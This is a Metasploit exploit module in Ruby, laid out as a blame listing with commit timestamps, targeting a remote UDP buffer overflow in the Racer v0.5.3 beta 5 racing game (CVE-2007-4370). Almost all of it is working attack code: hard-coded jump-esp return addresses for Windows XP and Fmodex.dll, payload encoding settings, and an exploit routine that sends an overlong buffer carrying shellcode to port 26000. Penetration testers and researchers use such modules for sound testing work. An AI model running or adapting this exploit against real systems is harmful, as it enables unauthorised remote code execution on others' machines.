2009-05-03 11:10:37 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-05-03 11:10:37 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-05-03 11:10:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2009-05-03 11:10:37 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-05-03 11:10:37 +00:00
|
|
|
'Name' => 'Racer v0.5.3 beta 5 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module explots the Racer Car and Racing Simulator game
|
2009-05-03 11:10:37 +00:00
|
|
|
versions v0.5.3 beta 5 and earlier. Both the client and server listen
|
|
|
|
on UDP port 26000. By sending an overly long buffer we are able to
|
|
|
|
execute arbitrary code remotely.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'CVE', '2007-4370' ],
|
2009-05-03 11:10:37 +00:00
|
|
|
[ 'OSVDB', '39601' ],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/4283' ],
|
2009-05-03 11:10:37 +00:00
|
|
|
[ 'BID', '25297' ],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x5c\x00",
|
|
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-05-03 11:10:37 +00:00
|
|
|
[
|
|
|
|
# Tested ok patrickw 20090503
|
|
|
|
[ 'Fmodex.dll - Universal', { 'Ret' => 0x10073FB7 } ], # jmp esp
|
|
|
|
[ 'Win XP SP2 English', { 'Ret' => 0x77d8af0a } ],
|
|
|
|
[ 'Win XP SP2 Spanish', { 'Ret' => 0x7c951eed } ],
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Aug 10 2008',
|
2009-05-03 11:10:37 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(26000)
|
2010-09-20 08:06:27 +00:00
|
|
|
], self.class)
|
2009-05-03 11:10:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
buf = Rex::Text.rand_text_alphanumeric(1001)
|
|
|
|
buf << [target.ret].pack('V')
|
|
|
|
buf << payload.encoded
|
|
|
|
buf << Rex::Text.rand_text_alphanumeric(1196 - payload.encoded.length)
|
|
|
|
|
|
|
|
udp_sock.put(buf)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
end
|